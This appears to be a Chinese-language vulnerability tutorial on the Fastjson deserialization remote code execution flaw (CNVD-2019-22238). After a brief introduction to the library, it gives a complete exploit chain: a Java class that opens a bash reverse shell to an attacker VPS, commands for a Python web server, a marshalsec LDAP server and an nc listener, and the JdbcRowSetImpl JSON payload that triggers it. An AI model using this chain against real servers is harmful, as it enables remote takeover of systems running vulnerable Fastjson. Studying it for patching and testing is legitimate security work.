Fastjson簡介
Fastjson是alibaba開源的一款高性能功能完善的JSON庫,可以將 Java 對象轉換為 JSON 格式,當然也可以將 JSON 字符串轉換為 Java 對象。它採用一種“假定有序快速匹配”的算法,把JSON Parse的性能提升到極致,是目前Java語言中最快的JSON庫。Fastjson接口簡單易用,已經被廣泛使用在緩存序列化、協議交互、Web輸出、Android客戶端等多種應用場景。
反序列化遠程命令執行(CNVD_2019_22238)
在Fastjson <= 1.2.47 時存在遠程命令執行漏洞,影響FastJson 1.2.48及以下所有版本,有說法在autotype開啟的情況下可影響到1.2.57版本。
示例:參數內容被fastjson調用解析
漏洞測試過程
測試環境:jdk 1.8
- 利用javac編譯反彈shell的Java代碼 Exploit.java(需要更改代碼中的VPS_IP為自己的vps地址)
<code>public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPS_IP/8888 0>&1"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } }/<code>
- VPS開web服務,存放第一步編譯好的Exploit.class,使其能夠從web訪問到
可以直接藉助python開httpserver:python -m SimpleHTTPServer(默認8000端口)
- VPS上利用marshlsec開啟ldap監聽,執行完成會默認在1389端口開啟監聽
<code>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshaec.jndi.LDAPRefServer http://VPS_IP:8000/#Exploit/<code>
- 開啟nc監聽反彈shell,端口為第1步Java代碼中反彈shell的端口
<code>nc –lvp 8888/<code>
- burpsuite中提交exp請求,訪問的是上述1389端口
<code>{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://VPS_IP:1389/Exploit","autoCommit":true}}}/<code>
請求提交成功,nc中便可以收到反彈的shell